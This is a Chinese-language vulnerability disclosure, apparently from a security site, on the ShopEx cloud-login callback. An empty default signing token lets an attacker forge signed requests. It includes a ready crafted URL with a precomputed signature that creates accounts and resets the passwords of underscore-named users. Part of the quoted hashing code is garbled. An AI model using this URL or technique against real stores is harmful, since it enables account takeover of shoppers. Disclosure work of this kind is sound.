### 简要描述:
shopex 接口设计问题导致某一类用户名密码重置
### 详细说明:
看到 shopex 有一个云登录机制,看代码:
```
// 云登陆回调地址
function ecopen_login_verify(){
// 签名验证
$token = $this->system->getConf('certificate.token');
($_GET['sign'] && $this->get_ce_sign($_GET, $token) == $_GET['sign']) || exit("签名错误,云登陆无法完成");
// 为登陆者创建账户
$accountMdl = $this->system->loadModel('member/account');
$mem = $accountMdl->createotherlogin($_GET);
if(!$mem){
$this->splash('failed',$this->system->base_url(),__('登陆失败,请检查!'));
exit;
}
```
跟进去看看get_ce_sign
```
function get_ce_sign($params,$token){
$arg="";
ksort($params);
reset($params);
while (list ($key, $val) = each ($params)) {
if ( 'sign' == $key ) continue;
$arg.=$key."=".urlencode($val)."&";
}
return md5(substr($arg,0,count($arg)-2).$token);//去掉最后一个问号
}
```
这里默认安装时候token是个空值
所以之后md5是可以计算出来的,根据他的函数我们计算一个url
http://localhost/shopex/?passport-ecopen_login_verify.html&open_type=xxxxxxx&open_id=yyyyy&nickname=xxxxx&email=test@163.com&password=mmmm&sign=76753b58491c5baa4c7885780c753e6a
跟进去$mem = $accountMdl->createotherlogin($_GET);
```
public function createotherlogin( $row )
{
$user['member_refer'] = $row['open_type'];
$toolsMdl = $this->system->loadModel( "utility/tools" );
$user['uname'] = $row['open_type']."_".$row['open_id'];
$user['name'] = $row['realname'] ? $row['realname'] : $row['nickname'];
$defcur = $this->db->selectrow( "SELECT cur_code FROM sdb_currency WHERE def_cur=\"true\"" );
$user['cur'] = $defcur['cur_code'];
$user['member_lv_id'] = $this->system->loadModel( "member/level" )->getDefauleLv( );
$user['password'] = $this->encrypt_passwd_enhanced( $user['uname'].$Var_528.STORE_KEY );
$user['lang'] = "123";
$user['email'] = $row['email'] ? $row['email'] : "*@*.com";
if ( $user['email'] != "*@*.com" && !$toolsMdl->is_email( $user['email'] ) )
{
return false;
}
$user['province'] = $row['province'];
$user['city'] = $row['city'];
$rs = $this->db->exec( "SELECT * FROM sdb_members WHERE uname=\"".$user['uname']."\" LIMIT 1" );
if ( $mem = $this->db->getRows( $rs, 1 ) )
{
$user['member_id'] = $mem[0]['member_id'];
if ( $sql = $this->db->getUpdateSQL( $rs, $user ) )
{
$this->db->exec( $sql );
}
}
else
{
$user['regtime'] = NOW;
$user['reg_ip'] = $this->db;
$this->db->exec( $this->db->getInsertSQL( $rs, $user ) );
$user['member_id'] = $this->db->lastInsertId( );
}
$user['secstr'] = $this->cookieValue( $user['member_id'] );
$user['open_type'] = $row['open_type'];
return $user;
}
```
这一段代码的意思就是,如果通过uname去查询的用户不存在的话,说明是个新用户
做插入操作,也就是云注册的新用户,如果这个用户存在的话就做更新资料操作
问题卡在了这里:
$user['uname'] = $row['open_type']."_".$row['open_id'];
也就是说这个用户名必须中间有下划线
通过这一番描述可见,如果是通过云注册的用户,资料可以通过单一的用户名修改这个用户的资料,如果是非云注册的用户,那么如果该用户注册的时候,用户名里面有下划线,就可以操纵修改这个用户的相关资料,包括密码
我们来测试一下
发送url:
http://localhost/shopex/?passport-ecopen_login_verify.html&open_type=xxxxxxx&open_id=yyyyy&nickname=xxxxx&email=test@163.com&password=mmmm&sign=76753b58491c5baa4c7885780c753e6a
后台抓取的第一个sql是:
[<img src="https://images.seebug.org/upload/201502/041933394061eda9f032266a847d0b750459eac0.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/041933394061eda9f032266a847d0b750459eac0.png)
在发送一次
抓看第二个sql:
[<img src="https://images.seebug.org/upload/201502/041934281e136f6d33c4437d9c905919d93c97ea.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/041934281e136f6d33c4437d9c905919d93c97ea.png)
正好和猜想的逻辑一样,在分一下密码这里
$user['password'] = $this->encrypt_passwd_enhanced( $user['uname'].$Var_528.STORE_KEY );
```
public function encrypt_passwd_enhanced( $pwd, $uname, $regtime )
{
if ( !$pwd || !$uname || !$regtime )
{
return false;
}
$pwd = ( ( ( $pwd ) ).( $uname ).$regtime );
return "s".( $pwd, 0, 31 );
}
```
如果get传递过来的pwd 和 uname 和regtime都不为空的话 就会计算一个密码,这个密码我们也是可以控制的
唯一遗憾的就是只能重置云登录用户和用户uname里面有下划线的用户
### 漏洞证明:
暂无评论